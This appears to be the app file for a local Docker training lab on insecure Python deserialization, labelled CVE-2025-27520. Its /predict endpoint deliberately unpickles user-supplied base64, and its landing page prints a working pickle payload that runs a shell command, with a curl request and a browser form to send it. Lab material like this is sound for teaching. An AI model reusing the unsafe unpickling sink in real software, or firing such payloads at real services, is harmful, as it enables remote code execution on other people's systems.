README.md
Rendering markdown...
# app.py — Day09: nicer landing page + interactive exploit UI (local-only educational lab)
from flask import Flask, request, jsonify, render_template_string
import base64, pickle, html
app = Flask(__name__)
BASE_HTML = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1"/>
<title>Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)</title>
<style>
:root{--bg:#0f1724;--card:#0b1220;--muted:#9aa6bf;--accent:#06b6d4;--glass:rgba(255,255,255,0.03);}
body{margin:0;font-family:Inter,ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial; background:linear-gradient(180deg,#071024 0%, #0f1724 100%); color:#e6eef6;}
.wrap{max-width:980px;margin:36px auto;padding:20px;}
header{display:flex;align-items:center;gap:16px}
.logo{width:64px;height:64px;border-radius:10px;background:linear-gradient(135deg,var(--accent),#7c3aed);display:flex;align-items:center;justify-content:center;font-weight:700;font-size:18px}
h1{margin:0;font-size:20px}
p.lead{color:var(--muted);margin:6px 0 18px}
.grid{display:grid;grid-template-columns:1fr 420px;gap:18px;margin-top:18px}
.card{background:var(--card);padding:18px;border-radius:12px;box-shadow:0 6px 18px rgba(2,6,23,0.6);border:1px solid rgba(255,255,255,0.03)}
pre.cmd{background:var(--glass);padding:12px;border-radius:8px;color:#dff9ff;overflow:auto;font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace}
.muted{color:var(--muted);font-size:13px}
.btn{display:inline-block;padding:8px 12px;border-radius:8px;background:linear-gradient(90deg,var(--accent),#7c3aed);color:#04121a;text-decoration:none;font-weight:600;border:none;cursor:pointer}
label{display:block;font-size:13px;margin-bottom:6px;color:var(--muted)}
textarea{width:100%;min-height:140px;background:#031022;border:1px solid rgba(255,255,255,0.03);color:#e6eef6;padding:10px;border-radius:8px;font-family:ui-monospace,monospace}
.result{white-space:pre-wrap;margin-top:12px;background:#051226;padding:10px;border-radius:8px;border:1px solid rgba(255,255,255,0.02);color:#bfeefc}
footer{margin-top:18px;color:var(--muted);font-size:13px}
@media (max-width:940px){ .grid{grid-template-columns:1fr} }
</style>
</head>
<body>
<div class="wrap">
<header>
<div class="logo">D09</div>
<div>
<h1>Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)</h1>
<p class="lead">Local Docker lab demonstrating insecure Python deserialization (pickle → RCE). Educational only.</p>
</div>
</header>
<div class="grid">
<section class="card">
<h3>Overview</h3>
<p class="muted">This lab intentionally <strong>unpickles</strong> base64-encoded payloads posted to <code>/predict</code>. Insecure deserialization may allow arbitrary code execution (the root cause class of CVE-2025-27520).</p>
<h4>Quickstart</h4>
<pre class="cmd">docker build -t day09-bentoml-lab .
docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab
open http://localhost:8080</pre>
<h4>Manual exploit (host)</h4>
<p class="muted">Generate a base64 pickle that runs <code>cat /opt/flag.txt</code>, then POST it to <code>/predict</code>:</p>
<pre class="cmd">python - <<'PY'
import pickle, base64
class R:
def __reduce__(self):
import subprocess
return (subprocess.check_output, (["cat","/opt/flag.txt"],))
print(base64.b64encode(pickle.dumps(R())).decode())
PY
PAYLOAD=$(python gen.sh) # or use the printed value
curl -X POST http://localhost:8080/predict -H "Content-Type: application/json" -d '{"data": "<PAYLOAD>"}' | jq .
</pre>
<h4>Notes</h4>
<p class="muted">This page also provides an interactive form below to POST a payload from your browser (useful when testing locally).</p>
</section>
<aside class="card">
<h3>Interactive tester</h3>
<label for="b64">paste base64-pickle here</label>
<textarea id="b64" placeholder="Base64-encoded pickle payload..."></textarea>
<div style="display:flex;gap:8px;margin-top:8px">
<button class="btn" id="send">Send to /predict</button>
<button class="btn" id="getflag" style="background:linear-gradient(90deg,#f97316,#fb7185)">GET /flag</button>
</div>
<div id="out" class="result muted" style="display:none"></div>
<script>
const out = document.getElementById('out');
document.getElementById('send').addEventListener('click', async () => {
out.style.display='block';
out.textContent = 'sending...';
const b64 = document.getElementById('b64').value.trim();
try {
const res = await fetch('/predict', {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({data: b64})
});
const j = await res.json();
out.textContent = JSON.stringify(j, null, 2);
} catch (e) {
out.textContent = 'error: '+e;
}
});
document.getElementById('getflag').addEventListener('click', async ()=>{
out.style.display='block';
out.textContent='fetching /flag...';
try {
const r = await fetch('/flag');
const t = await r.text();
out.textContent = 'HTTP '+r.status+'\\n\\n'+t;
} catch(e) {
out.textContent = 'error: '+e;
}
});
</script>
</aside>
</div>
<footer class="muted">
<div>Repo: your-day09-repo • Local Docker only • Educational use</div>
</footer>
</div>
</body>
</html>
"""
@app.route("/", methods=["GET"])
def index():
return render_template_string(BASE_HTML)
@app.route("/predict", methods=["POST"])
def predict():
"""
Accepts JSON { "data": "<base64-pickle>" } OR a form field 'data' (so the interactive page can POST).
WARNING: This endpoint intentionally unpickles attacker-provided bytes for educational demonstration.
"""
try:
# accept both JSON and form POSTs
if request.is_json:
j = request.get_json(force=True)
b64 = j.get("data", "")
else:
b64 = request.form.get("data", "") or request.values.get("data", "")
if not b64:
return jsonify({"status": "error", "error": "missing data"}), 400
raw = base64.b64decode(b64)
# VULNERABLE SINK (educational): unsafe unpickling
obj = pickle.loads(raw)
# make result printable/safe for JSON
if isinstance(obj, (bytes, bytearray)):
result = obj.decode(errors="ignore")
else:
result = repr(obj)
return jsonify({"status": "ok", "result": result})
except Exception as e:
return jsonify({"status": "error", "error": str(e)}), 400
@app.route("/flag", methods=["GET"])
def flag():
# instructors-only helper (local). Returns the flag file contents if present.
try:
with open("/opt/flag.txt", "r") as f:
return f.read(), 200, {"Content-Type": "text/plain"}
except Exception:
return "flag missing", 404
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)